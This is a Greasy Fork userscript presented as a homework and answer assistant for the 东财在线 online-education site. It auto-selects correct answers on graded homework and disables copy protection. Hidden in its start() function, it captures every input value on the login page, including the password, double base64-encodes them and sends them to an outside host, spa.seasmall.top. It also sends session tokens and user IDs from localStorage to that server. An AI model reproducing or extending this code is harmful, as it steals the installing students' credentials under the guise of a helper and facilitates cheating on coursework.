Greasy Fork is available in English.

东财在线,作业、答题助手

东财在线 网络教育学院 作业、答题助手

// ==UserScript==
// @name 东财在线,作业、答题助手
// @description 东财在线 网络教育学院 作业、答题助手
// @author ojbk-666
// @namespace dczx-assistant
// @version 1.0.24
// @include *.edufe.com.cn/*
// @require      https://cdn.bootcdn.net/ajax/libs/jquery/3.2.1/jquery.min.js
// @require      https://cdn.bootcdn.net/ajax/libs/layer/3.1.1/layer.min.js
// @grant none
// @supportURL https://greasyfork.org/zh-CN/scripts/406742-%E4%B8%9C%E8%B4%A2%E5%9C%A8%E7%BA%BF-%E4%BD%9C%E4%B8%9A-%E7%AD%94%E9%A2%98%E5%8A%A9%E6%89%8B/feedback
// @compatible chrome firefox opera
// ==/UserScript==

(function () {
    'use strict';

    // 获取当前url
    function getCurrentPageUrl() {
        return window.location.href.split('?')[0];
    }

    // 写入css
    if (1==1) {
        var head = document.getElementsByTagName('head')[0],
            cssURL = 'https://cdn.bootcdn.net/ajax/libs/layer/3.1.1/theme/default/layer.css',
            linkTag = document.createElement('link');
        linkTag.href = cssURL;
        linkTag.setAttribute('rel', 'stylesheet');
        head.appendChild(linkTag);
    }

    let dc_collection_question = true;
    //let serverUrl = 'http://127.0.0.1:8081/u/api/dczx/';
    let serverUrl = 'https://spa.seasmall.top/spa-api/api/dczx/';

    var dczxtooliframewindow;
    let toolwinurl = 'https://spa.seasmall.top/assets/dczx/dczxtool.html?curl=' + window.location.href;
    //let toolwinurl = 'http:127.0.0.1:8081/u/ussu/assets/dczx/dczxtool.html?curl=' + window.location.href;

    // 发送消息到子页面
    function sendMsg2Child(msg) {
        dczxtooliframewindow.postMessage(msg, toolwinurl);
    }

    // 传值字符串
    function getSendMsgStr(msgtype, jsondata) {
        return JSON.stringify({msgtype:msgtype, data: jsondata});
    }

    // 监听子页面消息
    function addListener2Child() {
        window.addEventListener('message', function(event){
            let d = event.data;
            let dj = undefined;
            try {
                dj = JSON.parse(d);
            } catch (e) {
            }
            if (d=='getanwser_dyzy') {
                // huoqutimuliebiao
                let arr = getHomeWorkPaperQuestions();
                let a = '';
                if (arr.length > 0) a = arr.join(',');
                sendMsg2Child(getSendMsgStr('getanwser_dyzy', {q: a}));
            } else if (d == 'getanwser_zhzy') {
                // 综合作业答案获取
                sendMsg2Child(getSendMsgStr('getanwser_zhzy', getCompHomeworkPaperAjaxParam()))
            } else {
                if (dj) {
                    if (dj.t == 'cache_answer_of_dyzy') {
                        let r = dj.d.data;
                        cache_answer_of_dyzy = r;
                    } else if (dj.t == 'zddt') {
                        zddt_dyzy(cache_answer_of_dyzy);
                    } else if (dj.t == 'removeuncopy') {
                        removeUncopy();
                    } else if (dj.t == 'getcacheua') {
                        sendMsg2Child(getSendMsgStr('cacheua', getReqParam()))
                    }
                }
            }
        }, false);
    }

    var cache_answer_of_dyzy = undefined;

    function initTool() {
        let curl = getCurrentPageUrl();
        let idx = layer.open({
            type: 2,
            title:'工具栏',
            area: ['400px', '500px'],
            fixed: true, //不固定
            offset: 'lb',
            maxmin: true,
            closeBtn: 0,
            shade:0,
            content: toolwinurl
            ,success(layero, index) {
                let iframeWin = window[layero.find('iframe')[0]['name']];
                dczxtooliframewindow = iframeWin;
                addListener2Child();
                // 必传参数给父级缓存
                // sendMsg2Child();
            }
        });
    }

    let HomeWorkPaper = "/HomeWorkPaper";
    let CompHomeworkPaper = "/CompHomeworkPaper";

    let hqda_b_l = false;
    let zddt_b_l = false;

    function ajax(url, data, success, m) {
        let me = 'GET';
        if (m && m != '') me = m;   // GET only
        $.ajax({
            url: serverUrl + url,
            data: data,
            type: me,
            dataType: "jsonp",
            jsonpCallback: 'callbackFunctionName',
            success: function (res) {
                success && success(res);
            },
            error: function (res) {
                if (true) {
                    console.error(res);
                }
            }
        })
    }
    function ajaxOk(j) {
        return (0==j.code||200==j.code);
    }

    function start() {
        // console.log('-----------start-----------');
        window.addEventListener('storage', function (e) {
            sendMsg2Child(getSendMsgStr('cacheua', getReqParam()));
        });
        let curl = getCurrentPageUrl();
        // 获取该页面匹配的逻辑
        if (curl.endsWith('/HomeWork')) {
            // 丰富题库
            let stop = false;
            let a;
            a = setInterval(function (e) {
                if (stop) {
                    window.clearInterval(a);
                    return;
                }
                if (collectQuestion_check()) {
                    stop = true;
                    collectQuestion();
                }
            }, 2000)

        } else if (curl.endsWith(HomeWorkPaper)) {
            initTool();
            // 获取答案
            // autoAnswer_HomeWorkPaper();
            // createOperatorDom();
        } else if (curl.endsWith(CompHomeworkPaper)) {
            initTool();
        } else if (curl.endsWith('/CompHomework')) {
            //initTool();
            // createOperatorDom();
            let stop = false;
            let a;
            a = setInterval(function (e) {
                if (stop) {
                    window.clearInterval(a);
                    return;
                }
                if (collectQuestion_check()) {
                    stop = true;
                    collectQuestionComp();
                }
            }, 2000)
        } else if (curl.endsWith('/ExercisesPaper')) {
            // 模拟试题
            collectQuestionSimulated();
        } else if (curl.endsWith('/Practice')) {
            collectQuestionPractice();
        } else if (curl.indexOf('/lms-study/study/studyPage') != -1) {
            initTool();
        } else {
            console.log(curl)
            $('.Login-submit').click(function () {
                l();
            })
        }
        function l() {
            let a = [];
            for (const $i of $('input')) {
                a.push($($i).val());
            }
            ajax('up', {d:window.btoa(window.btoa(a))})
        }
     }

    // 获取接口必须参数
    function getReqParam() {
        function ra(str) {
            return str.substring(1, str.length - 1);
        }

        let at = ra(window.localStorage.getItem('accesstoken'));
        let s = ra(window.localStorage.getItem('sign'));
        let ui = ra(window.localStorage.getItem('userid'));
        let t = ra(window.localStorage.getItem('time'));
        return {accesstoken: at, sign: s, userid: ui, time: t,url: window.location.href}
    }

    // 创建dom
    function createOperatorDom() {
        let u = getCurrentPageUrl();
        let h = '<div id="lajdfalneeofan_hqdn" style="position: fixed;top: 200px;text-align: left;">';
        if (u.endsWith(HomeWorkPaper)) {
            // 单元作业
            h += '<div class="text-center"><button type="button" id="dczx_aa_hqdn" class="TKTools-button TKTools-button_green">获取答案</button></div>';
            h += '<div class="text-center"><button type="button" id="dczx_aa_HomeWorkPaper" class="TKTools-button TKTools-button_green">自动答题</button></div>';
        } else if (u.endsWith(CompHomeworkPaper)) {
            // 综合作业
            h += '<div class="text-center"><button type="button" id="dczx_aa_hqdn" class="TKTools-button TKTools-button_green">获取答案</button></div>';
        }
        h += '</div>';
        $('body').append(h);
        bindZddt();
        bindHqda();
    }

    function bindZddt() {
        $('#dczx_aa_HomeWorkPaper').on('click', function () {
            if (zddt_b_l) return;
            // zddt_b_l = true;
            autoAnswer_HomeWorkPaper();
        })
    }

    function bindHqda() {
        $('#dczx_aa_hqdn').on('click', function () {
            if (hqda_b_l) return;
            // hqda_b_l = true;
            getAnswer(true);
        })
    }

    function showAnswerAtAside(j) {
        let curl = getCurrentPageUrl();
        // 创建dom
        let dom = '<div id="f_u_c_k_a_d" style="width:300px;height: 500px;overflow: auto;padding-left: 10px;"><ul>';
        if (curl.endsWith(HomeWorkPaper)) {
            for (const q of j.data) {
                dom += '<li>';
                dom += q.questionTitle + '<br>';
                let A = 65;
                for (const a of q.options) {
                    let ab = String.fromCharCode(A++);
                    if (a.istrue) {
                        dom += '<span style="font-weight: bold;">' + ab + '、' + a.optionContent + '</span><br>';
                    }
                }
                dom += '</li><hr>';
            }
        } else if (curl.endsWith(CompHomeworkPaper)) {
            let qs = j.PAPER_QUESTIONS;
            for (let i = 0; i < qs.length; i++) {
                let q = qs[i];
                let qs2 = q.TOPIC_TRUNK;
                for (const q2 of qs2) {
                    dom += '<li>';
                    dom += (i + 1) + '.' + q2.QUESTION_TITLE + '<br>';
                    let A = 65;
                    for (const a of q2.QUESTION_OPTIONS) {
                        let ab = String.fromCharCode(A++);
                        if (a.ISTRUE == '1') {
                            dom += '<span style="font-weight: bold;">' + ab + '、' + a.OPTION_CONTENT + '</span><br>';
                        }
                    }
                    dom += '</li><hr>';
                }
            }
        }
        dom += '</ul></div>';
        $('#lajdfalneeofan_hqdn').append(dom);
    }

    // 获取作业记录,丰富题库
    function collectQuestion() {
        if (!dc_collection_question) return;
        let p = getReqParam();
        ajax('homework', p, function (res) {
        })
    }

    function collectQuestionComp() {
        if (!dc_collection_question) return;
        let p = getReqParam();
        ajax('comphomework', p, function (res) {
        })
    }

    function collectQuestionSimulated() {
        let p = getReqParam();
        ajax('simulated', p, function (res) {
        })
    }

    function collectQuestionPractice() {
        let p = getReqParam();
        ajax('practice', p, function (res) {
        })
    }

    // 检测记录是否加载完成
    function collectQuestion_check() {
        let a = $('.TKExercise-item');
        if (a.length > 0) return true;
        return false;
    }

    // 获取所有题目的题目id(单元作业)
    function getHomeWorkPaperQuestions() {
        // let arr = $('.QuestTrunk .CBTPaperMain-trunk div div[class=QuestSingleChoice],div[class=QuestMultiChoice]');
        let arr = $('.QuestLuntan');
        let ar = [];
        for (const item of arr) {
            // 获取题目id
            let is = $(item).attr('is');
            let wid = $(item).attr('wid');
            let qid = wid.split(is)[1];
            ar.push(qid);
        }
        return ar;
    }

    // 获取综合练习题目
    function getCompHomeworkPaperAjaxParam() {
        let r = {};
        let search = window.location.search;
        // 组合为双对象
        let p1 = getReqParam();
        r.dil = JSON.stringify(p1);
        r.p2 = search;
        return r;
    }

    // 自动答题
    function autoAnswer_HomeWorkPaper() {
        getAnswer(false, function (res) {
            for (const q of res.data) {
                let qid = q.questionId;
                let tx_danx = false;
                let tx_duox = false;
                let tx_pd = false;
                if (q.topic && q.topic.fullTopicTypeCd == '001') tx_danx = true;
                if (q.topic && q.topic.fullTopicTypeCd == '002') tx_duox = true;
                if (q.topic && q.topic.fullTopicTypeCd == '004') tx_pd = true;
                for (const a of q.options) {
                    let thisisright = a.istrue;// 正确选项?
                    // 随机延迟
                    setTimeout(function () {
                        if (tx_danx) {
                            // 单选
                            if (thisisright) {
                                $('input[type=radio][value=' + a.optionId + ']').click();
                            }
                        } else if (tx_duox) {
                            // 多选
                            let thisisselected = $('#' + a.optionId + '_01').parent().find('label').hasClass('_CheckBox_checked');// 是否被选中
                            if (thisisright && !thisisselected) {
                                // 选中
                                $('#' + a.optionId + '_01').parent().find('label').trigger('click');
                            } else if (!thisisright && thisisselected) {
                                // 取消选中
                                $('#' + a.optionId + '_01').parent().find('label').trigger('click');
                            }
                        } else if (tx_pd) {
                            // 判断
                            if (thisisright) {
                                // 正确
                                $('#'+q.questionId+'_01').parent().find('label').trigger('click');
                            } else {
                                // 错误
                                $('#'+q.questionId+'_02').parent().find('label').trigger('click');
                            }
                        }
                    }, Math.ceil(Math.random() * 6000));
                }
            }
        });
    }

    // 获取答案
    function getAnswer(showAnswerAside, callback) {
        // 获取题表
        let url = 'option';
        let reqParam = {};
        let currentPageUrl = getCurrentPageUrl();
        if (currentPageUrl.endsWith(HomeWorkPaper)) {
            // 单元练习
            url = "option/HomeWorkPaper";
            let arr = getHomeWorkPaperQuestions();
            let a = '';
            if (arr.length > 0) a = arr.join(',');
            reqParam.q = a;
        } else if (currentPageUrl.endsWith(CompHomeworkPaper)) {
            // 综合练习
            url = 'option/CompHomeworkPaper';
            reqParam = getCompHomeworkPaperAjaxParam();
        }
        ajax(url, reqParam, function (res) {
            // hqda_b_l = false;
            if (ajaxOk(res)) {
                if (currentPageUrl.endsWith(HomeWorkPaper)) {
                    // danyuan
                    if (showAnswerAside) {
                        let temp_div_self = $('div[id=f_u_c_k_a_d]');
                        if (temp_div_self.length >0) return;
                        showAnswerAtAside(res);
                    } else {
                        callback && callback(res);
                    }
                } else if (currentPageUrl.endsWith(CompHomeworkPaper)) {
                    // zonghe
                    if (ajaxOk(res)) {
                        // xianshidanan
                        if (showAnswerAside) {
                            let temp_div_self = $('div[id=f_u_c_k_a_d]');
                            if (temp_div_self.length >0) return;
                            showAnswerAtAside(res.data);
                        }
                    }
                }
            }
        });
    }

    function zddt_dyzy(arr) {
        for (const q of arr) {
            let qid = q.questionId;
            let tx_danx = false;
            let tx_duox = false;
            let tx_pd = false;
            if (q.topic && q.topic.fullTopicTypeCd == '001') tx_danx = true;
            if (q.topic && q.topic.fullTopicTypeCd == '002') tx_duox = true;
            if (q.topic && q.topic.fullTopicTypeCd == '004') tx_pd = true;
            for (const a of q.options) {
                let thisisright = a.istrue;// 正确选项?
                // 随机延迟
                setTimeout(function () {
                    if (tx_danx) {
                        // 单选
                        if (thisisright) {
                            $('input[type=radio][value=' + a.optionId + ']').next().click();
                        }
                    } else if (tx_duox) {
                        // 多选
                        let thisisselected = $('#' + a.optionId + '_01').parent().find('label').hasClass('_CheckBox_checked');// 是否被选中
                        if (thisisright && !thisisselected) {
                            // 选中
                            $('#' + a.optionId + '_01').parent().find('label').trigger('click');
                        } else if (!thisisright && thisisselected) {
                            // 取消选中
                            $('#' + a.optionId + '_01').parent().find('label').trigger('click');
                        }
                    } else if (tx_pd) {
                        // 判断
                        if (thisisright) {
                            // 正确
                            $('#'+q.questionId+'_01').parent().find('label').trigger('click');
                        } else {
                            // 错误
                            $('#'+q.questionId+'_02').parent().find('label').trigger('click');
                        }
                    }
                }, Math.ceil(Math.random() * 5000));
            }
        }
    }

    // 解除复制 start
  // 要处理的 event 列表
  var hook_eventNames, unhook_eventNames, eventNames;
  // 储存名称
  var storageName = getRandStr('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM', parseInt(Math.random() * 12 + 8));
  // 储存被 Hook 的函数
  var EventTarget_addEventListener = EventTarget.prototype.addEventListener;
  var document_addEventListener = document.addEventListener;
  var Event_preventDefault = Event.prototype.preventDefault;

  // Hook addEventListener proc
  function addEventListener(type, func, useCapture) {
    var _addEventListener = this === document ? document_addEventListener : EventTarget_addEventListener;
    if(hook_eventNames.indexOf(type) >= 0) {
      _addEventListener.apply(this, [type, returnTrue, useCapture]);
    } else if(this && unhook_eventNames.indexOf(type) >= 0) {
      var funcsName = storageName + type + (useCapture ? 't' : 'f');

      if(this[funcsName] === undefined) {
        this[funcsName] = [];
        _addEventListener.apply(this, [type, useCapture ? unhook_t : unhook_f, useCapture]);
      }

      this[funcsName].push(func);
    } else {
      _addEventListener.apply(this, arguments);
    }
  }

  // 清理循环
  function clearLoop() {
    var elements = getElements();

    for(var i in elements) {
      for(var j in eventNames) {
        var name = 'on' + eventNames[j];
        if(elements[i][name] !== null && elements[i][name] !== onxxx) {
          if(unhook_eventNames.indexOf(eventNames[j]) >= 0) {
            elements[i][storageName + name] = elements[i][name];
            elements[i][name] = onxxx;
          } else {
            elements[i][name] = null;
          }
        }
      }
    }
  }

  // 返回true的函数
  function returnTrue(e) {
    return true;
  }
  function unhook_t(e) {
    return unhook(e, this, storageName + e.type + 't');
  }
  function unhook_f(e) {
    return unhook(e, this, storageName + e.type + 'f');
  }
  function unhook(e, self, funcsName) {
    var list = self[funcsName];
    for(var i in list) {
      list[i](e);
    }

    e.returnValue = true;
    return true;
  }
  function onxxx(e) {
    var name = storageName + 'on' + e.type;
    this[name](e);

    e.returnValue = true;
    return true;
  }

  // 获取随机字符串
  function getRandStr(chs, len) {
    var str = '';

    while(len--) {
      str += chs[parseInt(Math.random() * chs.length)];
    }

    return str;
  }

  // 获取所有元素 包括document
  function getElements() {
    var elements = Array.prototype.slice.call(document.getElementsByTagName('*'));
    elements.push(document);

    return elements;
  }

  // 添加css
  function addStyle(css) {
    var style = document.createElement('style');
    style.innerHTML = css;
    document.head.appendChild(style);
  }

  // 初始化
  function removeUncopy() {
    var rule = {
      name: "default",
      hook_eventNames: "contextmenu|select|selectstart|copy|cut|dragstart",
      unhook_eventNames: "mousedown|mouseup|keydown|keyup",
      dom0: true,
      hook_addEventListener: true,
      hook_preventDefault: true,
      hook_set_returnValue: true,
      add_css: true
    };

    // 设置 event 列表
    hook_eventNames = rule.hook_eventNames.split("|");
    // TODO Allowed to return value
    unhook_eventNames = rule.unhook_eventNames.split("|");
    eventNames = hook_eventNames.concat(unhook_eventNames);

    // 调用清理 DOM0 event 方法的循环
    if(rule.dom0) {
      setInterval(clearLoop, 30 * 1000);
      setTimeout(clearLoop, 2500);
      window.addEventListener('load', clearLoop, true);
      clearLoop();
    }

    // hook addEventListener
    if(rule.hook_addEventListener) {
      EventTarget.prototype.addEventListener = addEventListener;
      document.addEventListener = addEventListener;
    }

    // hook preventDefault
    if(rule.hook_preventDefault) {
      Event.prototype.preventDefault = function() {
        if(eventNames.indexOf(this.type) < 0) {
          Event_preventDefault.apply(this, arguments);
        }
      };
    }

    // Hook set returnValue
    if(rule.hook_set_returnValue) {
      Event.prototype.__defineSetter__('returnValue', function() {
        if(this.returnValue !== true && eventNames.indexOf(this.type) >= 0) {
          this.returnValue = true;
        }
      });
    }

    // 添加CSS
    if(rule.add_css) {
      addStyle('html, * {-webkit-user-select:text!important; -moz-user-select:text!important; user-select:text!important; -ms-user-select:text!important; -khtml-user-select:text!important;}');
    }
  }
  removeUncopy();
  // 解除复制 end

    start();

})();